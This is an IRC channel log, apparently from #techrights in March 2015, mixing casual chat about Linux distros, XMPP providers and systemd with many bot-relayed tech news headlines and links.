__martin__XRevan86: ofc i think the future should be self-hosted, but i suppose you use some jabber providerMar 12 13:36
cubexyzwhat is Caculate Linux Scratch? just tty stuff?Mar 12 13:36
cubexyzcalculateMar 12 13:36
XRevan86__martin__: No, I self-host it.Mar 12 13:37
XRevan86cubexyz: YeahMar 12 13:37
__martin__had account via jabbim.cz/sk/pl thou whole passwd dump in plaintext got leakedMar 12 13:38
XRevan86I usually advise jabber.zone provider.Mar 12 13:38
__martin__so i stick with xmpp.jp riseup.net (eyed dukgo.com once)Mar 12 13:39
cubexyzeasier to just download from yandex Mar 12 13:41
cubexyztorrent seems deadMar 12 13:41
XRevan86Yandex provides a good mirror for almost every distro.Mar 12 13:42
__martin__yup, even for parabol gnuMar 12 13:42
__martin__parabola*Mar 12 13:42
__martin__https://soylentnews.org/article.pl?sid=15/03/10/1327254Mar 12 13:44
-TechrightsBot-tr/#techrights-soylentnews.org | Millions of Modern Men Found to be Descendants of 11 Asian Dynastic Leaders. - SoylentNews [ http://ur1.ca/jw9j7 ]Mar 12 13:44
__martin__see you folks later, thanks for smalltalkMar 12 13:45
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cubexyzI'd love there to be an archive with all the distrosMar 12 13:48
msb_I just want one good distro without systemd, with KDE3/Trinity, with good support.Mar 12 14:03
cubexyzthere's Trinity for Debian WheezyMar 12 14:07
cubexyzthere's even a slackware trinity repositoryMar 12 14:07
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MinceRschestowitz__: sure, i'll get around to it eventuallyMar 12 14:57
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MinceRgeekingsMar 12 15:53
XRevan86MinceR: hiMar 12 15:54
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schestowitz__MinceR: no rush, cheers mate!Mar 12 17:04
MinceR:)Mar 12 17:04
MinceRhttp://www.szeretlekmagyarorszag.hu/wp-content/uploads/2014/04/truth-facts-funny-graphs-wumo-1.jpgMar 12 17:27
schestowitz__[13:10] <__martin__> schestowitz__: how much does a beer cost in Singapore?Mar 12 18:19
schestowitz__not too badMar 12 18:19
schestowitz__except for their own national drinkMar 12 18:19
schestowitz__but much cheaper in UKMar 12 18:19
schestowitz__(I know he's away)Mar 12 18:19
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XRevan86__martin__: Modern Talking!Mar 12 19:34
XRevan86__martin__: I freaking love MTMar 12 19:34
XRevan86__martin__: it's a pity you're not online and will never see all I wroteMar 12 19:34
XRevan86cubexyz: Video __martin__ posted to me and you which is not available in your country.Mar 12 19:35
MinceRMediaHint may helpMar 12 19:36
MinceRor youtube-dlMar 12 19:36
XRevan86an odd talking disposed over this music: https://youtube.com/watch?v=4kHl4FoK1YsMar 12 19:36
-TechrightsBot-tr/#techrights-www.youtube.com | Modern Talking - You're My Heart, You're My Soul - YouTubeMar 12 19:36
XRevan86> (16:13:19) __martin__: XRevan86: cubexyz: https://youtube.com/watch?v=DCbiJVGPob8Mar 12 19:37
-TechrightsBot-tr/#techrights-www.youtube.com | Miloš Zeman - Kunda sem, kunda tam, remix - YouTubeMar 12 19:37
XRevan86MinceR: or even SaveFrom.netMar 12 19:38
DaemonFCRyan FarmerMar 12 19:44
DaemonFCJust now · Mar 12 19:44
DaemonFCI ran into an article showing how people who made the mistake of buying an iPhone can use a smartwatch today by buying Android Wear and shimming support for it over Bluetooth while waiting forever for Apple to release a more expensive watch that does less and has half the battery life, while alerting thieves that there might be $1,000 worth of Apple products and large sums of cash and high limit credit cards on the person. smile emoticonMar 12 19:44
DaemonFC(And presumably, other problems. Maybe even a non-recall recall, where Apple blames you for pissing on their shining jewel of perfection, and then offers to replace it anyway. *grin*.)Mar 12 19:44
MinceRor they could save money by buying a real smartphone :>Mar 12 19:45
MinceRhttps://www.youtube.com/watch?v=KHZ8ek-6cccMar 12 19:45
-TechrightsBot-tr/#techrights-www.youtube.com | Apple Engineer Talks about the New 2015 Macbook - YouTube [ http://ur1.ca/jwbv0 ]Mar 12 19:45
DaemonFChttps://fbcdn-sphotos-c-a.akamaihd.net/hphotos-ak-xpa1/v/t1.0-9/10993409_1068415259851787_1061655701441079925_n.jpg?oh=9f0500c76a8af9ecbe8ba8b1a8fdd53d&oe=55720B69&__gda__=1434601987_3f04df957bb036d167b2e234ee7409b2Mar 12 20:22
DaemonFChttp://www.alternet.org/personal-health/new-study-homeopathy-not-effective-treating-any-conditionMar 12 20:24
-TechrightsBot-tr/#techrights-www.alternet.org | New Study: Homeopathy Not Effective for Treating Any Condition | Alternet [ http://ur1.ca/jwc7r ]Mar 12 20:24
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schestowitz>>> >> http://arstechnica.com/information-technology/2015/03/the-ambassador-who-worked-from-nairobi-bathroom-to-avoid-state-dept-it/Mar 12 20:37
-TechrightsBot-tr/#techrights-arstechnica.com | The Ambassador who worked from a Nairobi bathroom to avoid State Dept. IT | Ars Technica [ http://ur1.ca/jw8xp ]Mar 12 20:37
schestowitz>>> >> Mar 12 20:37
schestowitz>>> >> The role of M$ shit in all this needs to be raised, if there.Mar 12 20:37
schestowitz>> > Mar 12 20:37
schestowitz>> > Any proof/clues?Mar 12 20:37
schestowitz>> > Mar 12 20:37
schestowitz>> > Mar 12 20:37
schestowitz> Not really, but there are some clues:Mar 12 20:37
schestowitz> Mar 12 20:38
schestowitz> "... the intranet that provides the backbone for department-wide e-mailMar 12 20:38
schestowitz> and instant messaging, is dependent on aging Microsoft communicationsMar 12 20:38
schestowitz> infrastructure, including Microsoft Office Communicator for unifiedMar 12 20:38
schestowitz> voice and video communications. The State Department is in the middle ofMar 12 20:38
schestowitz> a roll-out of a new Office desktop environment (Office 2010), and that’sMar 12 20:38
schestowitz> broken unified communications for some users in the process—since LyncMar 12 20:38
schestowitz> clients"Mar 12 20:38
schestowitz> Mar 12 20:38
schestowitz> http://www.ukprogressive.co.uk/the-ambassador-who-worked-from-nairobi-bathroom-to-avoid-state-dept-it/article36846.htmlMar 12 20:38
-TechrightsBot-tr/#techrights-www.ukprogressive.co.uk | The Ambassador who worked from Nairobi bathroom to avoid State Dept. IT | UK ProgressiveMar 12 20:38
schestowitz> Mar 12 20:38
schestowitz> That shit just doesn't work which is probably why he used Gmail.Mar 12 20:38
schestowitz> However the M$ friendly press and State Dept would be the last ones onMar 12 20:38
schestowitz> Earth to point to disappointing functionality and reliability with M$ shit.Mar 12 20:38
schestowitzInteresting to know what he was avoiding. Gmail does not offer much more privacy than MS.Mar 12 20:38
schestowitz> And a clue from the above article:Mar 12 20:38
schestowitz> Mar 12 20:38
schestowitz> "In 2011, according to an Inspector General report, the department wasMar 12 20:38
schestowitz> still struggling to properly implement Federal Information SecurityMar 12 20:38
schestowitz> Management Act (FISMA) and Office of Management and Budget mandatedMar 12 20:38
schestowitz> requirements for information security. Since then, State DepartmentMar 12 20:38
schestowitz> unclassified e-mail has been the target of multiple data breaches,Mar 12 20:39
schestowitz> including one by some reports has been ongoing since last fall.Mar 12 20:39
schestowitz> Mar 12 20:39
schestowitz> --Mar 12 20:39
schestowitz> Mar 12 20:39
schestowitz> Data breaches will happen as long as they still run M$ shit.Mar 12 20:39
schestowitzNow that Gmail is so secure either. He didn't opt for FOSS, just a different 'cloud' vendor.Mar 12 20:39
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__martin__backMar 12 20:58
__martin__so my fedora 22 install attempt ended before it started xDMar 12 20:58
__martin__https://github.com/rhinstaller/blivet/pull/39 && https://bugzilla.redhat.com/show_bug.cgi?id=1196397#c21Mar 12 20:58
-TechrightsBot-tr/#techrights-github.com | Make sure the device is setup before formatting it (#1196397) by bcl · Pull Request #39 · rhinstaller/blivet · GitHub [ http://ur1.ca/jwcfb ]Mar 12 20:58
-TechrightsBot-tr/#techrights-bugzilla.redhat.com | Bug 1196397 – FormatCreateError: ('invalid device specification', '/dev/mapper/VolGroup00-LogVol00') [ http://ur1.ca/jwcfc ]Mar 12 20:58
__martin__but I wilfully clicked on "I accept my fate" warning ;DMar 12 20:59
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TweetTuxMachines@tuxmachines     Open source offline map tool for AndroidMar 13 01:47
TweetTuxMachines                 http://t.co/7W4xC9nDUx (www.tuxmachines.org)Mar 13 01:47
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-TechrightsBot-tr/#techrights-www.tuxmachines.org | Open source offline map tool for Android | Tux MachinesMar 13 01:47
*TweetTuxMachines @OpenSourceRDT favourited 'Open source offline map tool for Android http://t.co/7W4xC9nDUx'Mar 13 02:26
TweetTuxMachines@tuxmachines     Chakra 2015.03 Officially Released with UEFIMar 13 02:26
TweetTuxMachines                 Support, But No KDE Plasma 5Mar 13 02:26
TweetTuxMachines                 http://t.co/mejdPPEiXM (www.tuxmachines.org)Mar 13 02:26
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-TechrightsBot-tr/#techrights-www.tuxmachines.org | Chakra 2015.03 Officially Released with UEFI Support, But No KDE Plasma 5 | Tux MachinesMar 13 02:26
TweetTuxMachines@tuxmachines     Android Leftovers http://t.co/7Kw3ydsEvyMar 13 02:27
TweetTuxMachines                 (www.tuxmachines.org)Mar 13 02:27
TweetTuxMachines........................................  http://ur1.ca/jwdxxMar 13 02:27
-TechrightsBot-tr/#techrights-www.tuxmachines.org | Android Leftovers | Tux MachinesMar 13 02:27
TweetTuxMachines@tuxmachines     Leftovers: Gaming http://t.co/PE8tf5tBalMar 13 02:36
TweetTuxMachines                 (www.tuxmachines.org)Mar 13 02:36
TweetTuxMachines........................................  http://ur1.ca/jwdznMar 13 02:36
-TechrightsBot-tr/#techrights-www.tuxmachines.org | Leftovers: Gaming | Tux MachinesMar 13 02:36
TweetTuxMachines@tuxmachines     today's howtos http://t.co/lMwBp2LeRmMar 13 02:36
TweetTuxMachines                 (www.tuxmachines.org)Mar 13 02:36
TweetTuxMachines........................................  http://ur1.ca/jwdzoMar 13 02:36
-TechrightsBot-tr/#techrights-www.tuxmachines.org | today's howtos | Tux MachinesMar 13 02:36
TweetTuxMachines@tuxmachines     "At the Linux Foundation's new Vault show, it'sMar 13 02:36
TweetTuxMachines                 all about file systems and storage."Mar 13 02:36
TweetTuxMachines                 http://t.co/uxoQZ9zaUm (www.zdnet.com)Mar 13 02:36
TweetTuxMachines........................................  http://ur1.ca/jwdzpMar 13 02:36
-TechrightsBot-tr/#techrights-www.zdnet.com | The future of Linux storage | ZDNetMar 13 02:36
TweetTuxMachines@tuxmachines     Links 12/3/2015: Continued Catchup and NewsMar 13 02:36
TweetTuxMachines                 http://t.co/CZbyngA35G (techrights.org)Mar 13 02:36
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-TechrightsBot-tr/#techrights-techrights.org | Links 12/3/2015: Continued Catchup and News | TechrightsMar 13 02:36
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TweetTuxMachines@tuxmachines     VMware expands desktop virtualization to LinuxMar 13 02:57
TweetTuxMachines                 http://t.co/vqwceoxSBX (www.computerworld.com)Mar 13 02:57
TweetTuxMachines........................................  http://ur1.ca/jwe3sMar 13 02:57
-TechrightsBot-tr/#techrights-www.computerworld.com | VMware expands desktop virtualization to Linux | ComputerworldMar 13 02:57
TweetTuxMachines@tuxmachines     Rugged, wireless-enabled COM runs Linux onMar 13 02:57
TweetTuxMachines                 AM437x http://t.co/axN1IbgVQS (linuxgizmos.com)Mar 13 02:57
TweetTuxMachines........................................  http://ur1.ca/jwe3uMar 13 02:57
-TechrightsBot-tr/#techrights-linuxgizmos.com | Rugged, wireless-enabled COM runs Linux on AM437x ·  LinuxGizmos.comMar 13 02:57
TweetTuxMachines@tuxmachines     Chakra 2015.03 Officially Released with UEFIMar 13 02:57
TweetTuxMachines                 Support, But No KDE Plasma 5Mar 13 02:57
TweetTuxMachines                 http://t.co/CcvFY1jjXL (news.softpedia.com)Mar 13 02:57
TweetTuxMachines........................................  http://ur1.ca/jwe3vMar 13 02:57
-TechrightsBot-tr/#techrights-news.softpedia.com | Chakra 2015.03 Officially Released with UEFI Support, But No KDE Plasma 5 - SoftpediaMar 13 02:57
TweetTuxMachines@tuxmachines     New Linux Kernel Vulnerability Patched in AllMar 13 02:59
TweetTuxMachines                 Supported Ubuntu OSes http://t.co/n7xzrGuQIDMar 13 02:59
TweetTuxMachines                 (linux.softpedia.com)Mar 13 02:59
-TechrightsBot-tr/#techrights-linux.softpedia.com | New Linux Kernel Vulnerability Patched in All Supported Ubuntu OSes - SoftpediaMar 13 02:59
TweetTuxMachines........................................  http://ur1.ca/jwe4dMar 13 02:59
TweetTuxMachines@tuxmachines     Automotive bus open sourced with Linux-basedMar 13 02:59
TweetTuxMachines                 design http://t.co/OJGNMrCQ8K (linuxgizmos.com)Mar 13 02:59
TweetTuxMachines........................................  http://ur1.ca/jwe4eMar 13 02:59
-TechrightsBot-tr/#techrights-linuxgizmos.com | Automotive bus open sourced with Linux-based design ·  LinuxGizmos.comMar 13 02:59
TweetTuxMachines@8Cprint         @tuxmachines We liked your stuff... we'd likeMar 13 03:00
TweetTuxMachines                 to interview you for our blog is that ok?Mar 13 03:00
TweetTuxMachines........................................  http://ur1.ca/jwe4fMar 13 03:00
TweetTuxMachines@tuxmachines     Open source offline map toolMar 13 03:08
TweetTuxMachines                 http://t.co/je5jACvIQe (opensource.com)Mar 13 03:08
TweetTuxMachines                 "mAppWidget is available to anyone in need of aMar 13 03:08
TweetTuxMachines                 mobile custom offline map solution."Mar 13 03:08
-TechrightsBot-tr/#techrights-opensource.com | Creating custom offline maps for Android gets a little easier | Opensource.comMar 13 03:08
TweetTuxMachines........................................  http://ur1.ca/jwe5uMar 13 03:08
TweetTuxMachines@tuxmachines     Ubuntu 15.04 (Vivid Vervet) Gets a Newer LinuxMar 13 03:08
TweetTuxMachines                 Kernel 3.19.x http://t.co/fmYwgfhWU2Mar 13 03:08
TweetTuxMachines                 (news.softpedia.com)Mar 13 03:08
-TechrightsBot-tr/#techrights-news.softpedia.com | Ubuntu 15.04 (Vivid Vervet) Gets a Newer Linux Kernel 3.19.x - SoftpediaMar 13 03:08
TweetTuxMachines........................................  http://ur1.ca/jwe5xMar 13 03:08
TweetTuxMachines@tuxmachines     Black Lab Sphere Is a Unique, One of a KindMar 13 03:08
TweetTuxMachines                 Linux Desktop PC http://t.co/HmjL7TNOKWMar 13 03:08
TweetTuxMachines                 (news.softpedia.com)Mar 13 03:08
-TechrightsBot-tr/#techrights-news.softpedia.com | Black Lab Sphere Is a Unique, One of a Kind Linux Desktop PC - SoftpediaMar 13 03:08
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MinceRgnMar 13 03:50
schestowitznnMar 13 03:50
schestowitzbelatedMar 13 03:50
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schestowitzhttps://joindiaspora.com/posts/5694171Mar 13 04:31
-TechrightsBot-tr/#techrights-@schestowitz@joindiaspora.com: Firefox OS heading for Africa — and the U.S. too http://linuxgizmos.com/firefox-os-heading-for-africa-and-the-u-s-too/ #firefox #firefoxos #mozilla #linuxMar 13 04:31
-TechrightsBot-tr/#techrights--> linuxgizmos.com | Firefox OS heading for Africa -- and the U.S. too ·  LinuxGizmos.com [ http://ur1.ca/jweij ]Mar 13 04:31
schestowitz"I love Firefox, which makes it hard for me to have to choose from Firefox OS to Ubuntu Touch, but Ubuntu is probably the most interesting of the two."Mar 13 04:31
schestowitz"all i need is normal console with linux console programs. it will make smartphone really close to pc."Mar 13 04:31
schestowitz"Mar 13 04:31
schestowitzI choose FF instead of Ubuntu (I dislike the privacy politic by Canonical)Mar 13 04:31
schestowitz@incognito If you want a smartphone really close to pc, Openphoenux this or that, ok it's ugly, tight, old, hasbeen, expensive but you can do all you want with it :) (even multiboot, bash, ssh, apt, midnight commander, compilation, ever languages available in repositories, etc)Mar 13 04:31
schestowitzYou can install some OS based on debian - QTMoko : sourceforge - SHR : Trac Builds - Debian : https://wiki.debian.org/Mobile - Replicant : http://www.replicant.us/Mar 13 04:31
schestowitzYou can hack hardware.Mar 13 04:31
-TechrightsBot-tr/#techrights-wiki.debian.org | Mobile - Debian WikiMar 13 04:31
-TechrightsBot-tr/#techrights-www.replicant.us | ReplicantMar 13 04:31
schestowitzothers informations : http://blog.slyon.de/Mar 13 04:32
-TechrightsBot-tr/#techrights-blog.slyon.de | SlyBlog | Free and Open Source Software and Hardware.Mar 13 04:32
schestowitz"Mar 13 04:32
schestowitzhttps://joindiaspora.com/posts/5717189Mar 13 04:32
-TechrightsBot-tr/#techrights-@schestowitz@joindiaspora.com: FREAKing hell: All #Windows versions vulnerable to SSL snoop http://www.theregister.co.uk/2015/03/06/all_microsoft_windows_versions_vulnerable_to_freak/ http://techrights.org/wiki/index.php/Microsoft_and_the_NSAMar 13 04:32
-TechrightsBot-tr/#techrights--> www.theregister.co.uk | FREAKing hell: ALL Windows versions vulnerable to SSL snoop • The Register [ http://ur1.ca/jweit ]Mar 13 04:32
schestowitz"Honestly, how is it possible the M$ security team that allegedly found this and pitched it as an Chrome/Android vulnerability not have checked IE? I can't imagine they will have jobs there for much longer"Mar 13 04:32
-TechrightsBot-tr/#techrights--> techrights.org | Microsoft and the NSA - Techrights [ http://ur1.ca/g1zod ]Mar 13 04:32
schestowitzhttps://joindiaspora.com/posts/5748612Mar 13 04:33
-TechrightsBot-tr/#techrights-@schestowitz@joindiaspora.com: #gnu #linux not ready for gamers? Another headline from the 90s... http://www.slashgear.com/steam-for-linux-1000-games-and-counting-12373390/Mar 13 04:33
-TechrightsBot-tr/#techrights--> www.slashgear.com | Steam for Linux: 1,000 games and counting - SlashGear [ http://ur1.ca/jweiv ]Mar 13 04:33
schestowitz"I don't think it was ever that GNULinux wasn't ready for gamers. I think game makers weren't ready to let go of their ancient business plans."Mar 13 04:33
schestowitz"Chris is te real MVP :D Couldn't agree more with you bro... When game makers start to look to GNU/Linux (AAA Studios, Mid range Studios, etc..) They will see that GNU/Linux are ready for everything they want..."Mar 13 04:33
schestowitz"I Agree. And it's look like they mey start to look into it soon :) Valve is doing great stuff about it I think."Mar 13 04:33
schestowitz"If Devs starts to look and develop for GNU/Linux than they have to start to develop under GPL... or, at least, at LEAST, opensource licenses..."Mar 13 04:33
cubexyzlet's not forget Loki GamesMar 13 04:36
cubexyzbut it is a pity that those games were never open sourcedMar 13 04:37
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TweetTuxMachines@tuxmachines     Leftovers: Software http://t.co/wywm8ZBEHhMar 13 05:37
TweetTuxMachines                 (www.tuxmachines.org)Mar 13 05:37
TweetTuxMachines........................................  http://ur1.ca/jwetcMar 13 05:37
-TechrightsBot-tr/#techrights-www.tuxmachines.org | Leftovers: Software | Tux MachinesMar 13 05:37
TweetTuxMachines@tuxmachines     New Linux Kernel Vulnerability Patched in AllMar 13 05:37
TweetTuxMachines                 Supported Ubuntu OSes http://t.co/ndhbrY1K2JMar 13 05:37
TweetTuxMachines                 (www.tuxmachines.org)Mar 13 05:37
TweetTuxMachines........................................  http://ur1.ca/jwetfMar 13 05:37
-TechrightsBot-tr/#techrights-www.tuxmachines.org | New Linux Kernel Vulnerability Patched in All Supported Ubuntu OSes | Tux MachinesMar 13 05:37
TweetTuxMachines@tuxmachines     Why We Need Free Digital Hardware DesignsMar 13 05:37
TweetTuxMachines                 http://t.co/IHjT1CH9Pk (www.tuxmachines.org)Mar 13 05:37
TweetTuxMachines........................................  http://ur1.ca/jwetiMar 13 05:37
-TechrightsBot-tr/#techrights-www.tuxmachines.org | Why We Need Free Digital Hardware Designs | Tux MachinesMar 13 05:37
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TweetTuxMachines@tuxmachines     "The Linux Foundation... LMAX Exchange Ltd.,Mar 13 05:58
TweetTuxMachines                 Linutronix GmbH, NI and SerenataFlowers areMar 13 05:58
TweetTuxMachines                 joining the organization."Mar 13 05:58
TweetTuxMachines                 http://t.co/5iQInduwBS (www.marketwired.com)Mar 13 05:58
TweetTuxMachines........................................  http://ur1.ca/jwewvMar 13 05:58
-TechrightsBot-tr/#techrights-www.marketwired.com | New Linux Foundation Members Invest in Linux and Collaborative DevelopmentMar 13 05:58
TweetTuxMachines@tuxmachines     7 surprising facts about LinuxMar 13 05:58
TweetTuxMachines                 http://t.co/6RjrF6Hvti (www.eetindia.co.in)Mar 13 05:58
TweetTuxMachines........................................  http://ur1.ca/jwewwMar 13 05:58
-TechrightsBot-tr/#techrights-www.eetindia.co.in | 7 surprising facts about LinuxMar 13 05:58
TweetTuxMachines@tuxmachines     Interviews with the Ubuntu Community CouncilMar 13 05:58
TweetTuxMachines                 http://t.co/eXkAPyyUsQ (www.tuxmachines.org)Mar 13 05:58
TweetTuxMachines........................................  http://ur1.ca/jwewxMar 13 05:58
-TechrightsBot-tr/#techrights-www.tuxmachines.org | Interviews with the Ubuntu Community Council | Tux MachinesMar 13 05:58
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TweetTuxMachines@tuxmachines     New Linux Foundation Members Invest in LinuxMar 13 06:27
TweetTuxMachines                 and Collaborative DevelopmentMar 13 06:27
TweetTuxMachines                 http://t.co/gOYdL3RpVa (www.tuxmachines.org)Mar 13 06:27
TweetTuxMachines........................................  http://ur1.ca/jwf09Mar 13 06:27
-TechrightsBot-tr/#techrights-www.tuxmachines.org | New Linux Foundation Members Invest in Linux and Collaborative Development | Tux MachinesMar 13 06:27
TweetTuxMachines@tuxmachines     7 surprising facts about LinuxMar 13 06:27
TweetTuxMachines                 http://t.co/zp9TxhqkFo (www.tuxmachines.org)Mar 13 06:27
TweetTuxMachines........................................  http://ur1.ca/jwf0aMar 13 06:27
-TechrightsBot-tr/#techrights-www.tuxmachines.org | 7 surprising facts about Linux | Tux MachinesMar 13 06:27
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cubexyzmsb_, I just ported chemtable to vector linuxMar 13 10:16
cubexyzgnome's equivalent to kalziumMar 13 10:16
schestowitzhttps://twitter.com/jmcest/status/576261785919045632Mar 13 10:49
-TechrightsBot-tr/#techrights-@jmcest: Greenwashed FRA, Greenwashed #surveillance GT @schestowitz: Swedish 'green' party sold out https://t.co/bmqV7dk7T4 https://t.co/zxQ0ZbDDbmMar 13 10:49
-TechrightsBot-tr/#techrights--> translate.google.com | Google TranslateMar 13 10:49
-TechrightsBot-tr/#techrights--> christianengstrom.wordpress.com | Miljöpartiet försöker förklara sitt svek om FRA-lagen | Christian Engström, PiratMar 13 10:49
*TweetTuxMachines @JRepin favourited 'KDE President Lydia Pintscher on the Role of...'Mar 13 11:14
TweetTuxMachines@tuxmachines     Hands on: Google's new $999 Chromebook PixelMar 13 11:43
TweetTuxMachines                 makes big changes under the hoodMar 13 11:43
TweetTuxMachines                 http://t.co/PCn67GMsWX (www.pcworld.com)Mar 13 11:43
TweetTuxMachines........................................  http://ur1.ca/jwgcmMar 13 11:43
-TechrightsBot-tr/#techrights-www.pcworld.com | Hands on: Google's new $999 Chromebook Pixel makes big changes under the hood | PCWorldMar 13 11:43
TweetTuxMachines@tuxmachines     Hands on: Google's new $999 Chromebook PixelMar 13 11:43
TweetTuxMachines                 makes big changes under the hoodMar 13 11:43
TweetTuxMachines                 http://t.co/VWztXW6KX4 (www.tuxmachines.org)Mar 13 11:43
TweetTuxMachines........................................  http://ur1.ca/jwgcnMar 13 11:43
-TechrightsBot-tr/#techrights-www.tuxmachines.org | Hands on: Google's new $999 Chromebook Pixel makes big changes under the hood | Tux MachinesMar 13 11:43
TweetTuxMachines@tuxmachines     Review: New Chromebook Pixel is still lovelyMar 13 11:43
TweetTuxMachines                 hardware with limited appealMar 13 11:43
TweetTuxMachines                 http://t.co/lrhHEer238 (arstechnica.com)Mar 13 11:43
TweetTuxMachines........................................  http://ur1.ca/jwgcoMar 13 11:43
-TechrightsBot-tr/#techrights-arstechnica.com | Review: New Chromebook Pixel is still lovely hardware with limited appeal | Ars TechnicaMar 13 11:43
schestowitz> "switching the system init process to systemd past theMar 13 11:47
schestowitz> Ubuntu Vivid Verbet {sic} feature freeze window."Mar 13 11:47
schestowitz> Mar 13 11:47
schestowitz> http://www.phoronix.com/scan.php?page=news_item&px=Ubuntu-Cloud-Systemd-DefaultMar 13 11:47
-TechrightsBot-tr/#techrights-www.phoronix.com | Ubuntu Cloud Switches Over To Using Systemd By Default - Phoronix [ http://ur1.ca/jwgdh ]Mar 13 11:47
schestowitz> Mar 13 11:47
schestowitz> Bending their own rules to shoehorn in an, at best, unready, untestedMar 13 11:48
schestowitz> product.Mar 13 11:48
schestowitzhttps://www.schneier.com/blog/archives/2015/03/the_democratiza_1.htmlMar 13 11:58
-TechrightsBot-tr/#techrights-www.schneier.com | Schneier on Security: The Democratization of Cyberattack [ http://ur1.ca/ju059 ]Mar 13 11:58
schestowitzrepeat of Motherboard articleMar 13 11:58
schestowitzhttp://blather.michaelwlucas.com/archives/2343Mar 13 12:10
-TechrightsBot-tr/#techrights-blather.michaelwlucas.com | "Tarsnap Mastery" ebook out - blather.michaelwlucas.com [ http://ur1.ca/jwggy ]Mar 13 12:10
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TweetTuxMachines@tuxmachines     Ubuntu just switched to systemd , the projectMar 13 12:41
TweetTuxMachines                 sparking controversy throughout LinuxMar 13 12:41
TweetTuxMachines                 http://t.co/N3VrKivrpF (www.pcworld.com)Mar 13 12:41
TweetTuxMachines........................................  http://ur1.ca/jwgnwMar 13 12:41
-TechrightsBot-tr/#techrights-www.pcworld.com | Ubuntu just switched to systemd, the project sparking controversy throughout Linux | PCWorldMar 13 12:41
TweetTuxMachines@tuxmachines     Age of Wonders III Now In Beta For LinuxMar 13 12:41
TweetTuxMachines                 http://t.co/Yh9lK7Ef5i (www.phoronix.com)Mar 13 12:41
TweetTuxMachines........................................  http://ur1.ca/jwgnxMar 13 12:41
-TechrightsBot-tr/#techrights-www.phoronix.com | Age of Wonders III Now In Beta For Linux - PhoronixMar 13 12:41
TweetTuxMachines@tuxmachines     "release of Age Of Wonders III due in AprilMar 13 12:41
TweetTuxMachines                 recently, and now they have already opened theMar 13 12:41
TweetTuxMachines                 Linux beta!" https://t.co/vFWosQXAxWMar 13 12:41
TweetTuxMachines                 (www.gamingonlinux.com)Mar 13 12:41
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TweetTuxMachines@tuxmachines     Run Android 5.0.2 Lollipop on Your PC withMar 13 12:41
TweetTuxMachines                 AndEX Live CD http://t.co/MFCb6bsxooMar 13 12:41
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TweetTuxMachines@tuxmachines     Red Hat powers up partner programme forMar 13 12:41
TweetTuxMachines                 enterprise container ecosystemMar 13 12:41
TweetTuxMachines                 http://t.co/Os6LQt6aiS (www.tuxmachines.org)Mar 13 12:41
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TweetTuxMachines@tuxmachines     Introducing Blueberry, a Proper BluetoothMar 13 12:41
TweetTuxMachines                 Configuration Tool for Linux MintMar 13 12:41
TweetTuxMachines                 http://t.co/jzszzpbuZs (www.tuxmachines.org)Mar 13 12:41
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TweetTuxMachines@tuxmachines     Fedora 22 Alpha Lets Users Test the BetaMar 13 12:58
TweetTuxMachines                 Version of GNOME 3.16 - Screenshot TourMar 13 12:58
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TweetTuxMachines@tuxmachines     French FOI authority: make tax source codeMar 13 12:58
TweetTuxMachines                 public http://t.co/1XZLYohNpsMar 13 12:58
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TweetTuxMachines@tuxmachines     XOrg Server 1.17 Makes It Into Ubuntu 15.04Mar 13 12:58
TweetTuxMachines                 http://t.co/9bWWwGPmMH (www.phoronix.com)Mar 13 12:58
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-TechrightsBot-tr/#techrights-www.phoronix.com | X.Org Server 1.17 Makes It Into Ubuntu 15.04 - PhoronixMar 13 12:58
TweetTuxMachines@tuxmachines     Run Android 5.0.2 Lollipop on Your PC withMar 13 13:02
TweetTuxMachines                 AndEX Live CD http://t.co/2W4Mctwb60Mar 13 13:02
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TweetTuxMachines@tuxmachines     Red Hat powers up partner programme forMar 13 13:02
TweetTuxMachines                 enterprise container ecosystemMar 13 13:02
TweetTuxMachines                 http://t.co/ptnTJdUf5P (www.v3.co.uk)Mar 13 13:02
TweetTuxMachines                 http://t.co/f2gcQiZYIJ (rhelblog.redhat.com)Mar 13 13:02
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-TechrightsBot-tr/#techrights-rhelblog.redhat.com | Shaping the Performance of a Linux Distro: Inside Red Hat Enterprise Linux 7 | Red Hat Enterprise Linux BlogMar 13 13:02
TweetTuxMachines@tuxmachines     7 Leading Applications for KDE PlasmaMar 13 13:02
TweetTuxMachines                 http://t.co/XTcy6kQhAa (www.datamation.com)Mar 13 13:02
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TweetTuxMachines@tuxmachines     Lightweight Desktop For Linux: What’s the BestMar 13 13:09
TweetTuxMachines                 One for You? http://t.co/qhgz3z6M0cMar 13 13:09
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TweetTuxMachines@tuxmachines     7 Neat Linux Tricks That Newbies Need to Know Mar 13 13:09
TweetTuxMachines                 http://t.co/I5WPkNfxlL (www.makeuseof.com)Mar 13 13:09
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TweetTuxMachines@tuxmachines     Fedora 22 Alpha Lets Users Test the BetaMar 13 13:09
TweetTuxMachines                 Version of GNOME 3.16 - Screenshot TourMar 13 13:09
TweetTuxMachines                 http://t.co/ylHeEOJknG (news.softpedia.com)Mar 13 13:09
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TweetTuxMachines@tuxmachines     Introducing Blueberry, a Proper BluetoothMar 13 13:50
TweetTuxMachines                 Configuration Tool for Linux MintMar 13 13:50
TweetTuxMachines                 http://t.co/dyqHH0NMoN (linux.softpedia.com)Mar 13 13:50
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TweetTuxMachines@tuxmachines     Links 13/2/2015: Chromebook Reviews, Age OfMar 13 13:50
TweetTuxMachines                 Wonders III Beta http://t.co/8oPNJSFlUZMar 13 13:50
TweetTuxMachines                 (techrights.org)Mar 13 13:50
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TweetTuxMachines@tuxmachines     7 Neat Linux Tricks That Newbies Need to KnowMar 13 13:50
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TweetTuxMachines@tuxmachines     Android Leftovers http://t.co/fMux94p5uKMar 13 14:39
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TweetTuxMachines@tuxmachines     Leftovers: Gaming http://t.co/f35toz7l6oMar 13 14:40
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-TechrightsBot-tr/#techrights-www.tuxmachines.org | Leftovers: Gaming | Tux MachinesMar 13 14:40
TweetTuxMachines@tuxmachines     today's howtos http://t.co/ynv0sjAR1sMar 13 14:40
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-TechrightsBot-tr/#techrights-www.tuxmachines.org | today's howtos | Tux MachinesMar 13 14:40
TweetTuxMachines@tuxmachines     Linux Themes of the day http://t.co/CjyAmj42dwMar 13 14:40
TweetTuxMachines                 (www.tuxmachines.org)Mar 13 14:40
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-TechrightsBot-tr/#techrights-www.tuxmachines.org | Linux Themes of the day | Tux MachinesMar 13 14:40
MinceRgeekingsMar 13 15:24
XRevan86MinceR: hiMar 13 15:24
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TweetTuxMachines@tuxmachines     diff -u: What's New in Kernel DevelopmentMar 13 17:16
TweetTuxMachines                  http://t.co/Po9JL8YKzl (www.linuxjournal.com)Mar 13 17:16
